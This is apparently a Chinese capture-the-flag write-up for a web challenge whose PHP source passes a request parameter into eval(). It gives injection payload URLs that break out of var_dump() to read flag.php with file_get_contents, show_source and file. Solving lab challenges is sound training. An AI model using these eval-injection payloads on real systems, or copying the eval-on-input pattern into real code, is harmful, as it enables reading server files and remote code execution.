分值:10分 类型:Misc Web已解答
题目:
flag不在变量中。
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
题目知识点:
file_get_contents(path)函数,获得指定路径下的文件内容,以字符串的形式返回出来。
eval(str)函数,把括号里的字符串,当作php命令来执行。
解题思路:
这一题把一个file_get_contents()函数命令赋值给$a传入var_dump()中。var_dump()函数就是把这个命令以字符串的形式返回,进入到嵌套的eval函数里面,让eval函数来执行这行命令。
使用file_get_contents函数,构造如下:
http://f79f87d42ad840a8acdec9e8d8eb89dfb8844920bd6e4950.game.ichunqiu.com/?hello=file_get_contents(%27flag.php%27)
其他payload
1. 发现flag没有在变量里面但是那个eval("var_dump($a);")
在
就要想方法利用下,因为按常理flag都在flag.php下我们只要能拿到flag.php里面的内容就能拿到flag
我们利用拼接让eval执行我们需要的函数
这样跟eval函数拼接就变成了var_dump(1);show_source(%27flag.php%27);var_dump();就可以导出flag.php的文件内容得到flag
2.http://488e091106444c2fab369878c48265124b4bf199d529448b.game.ichunqiu.com/?hello=$a);print_r(file("./flag.php")); //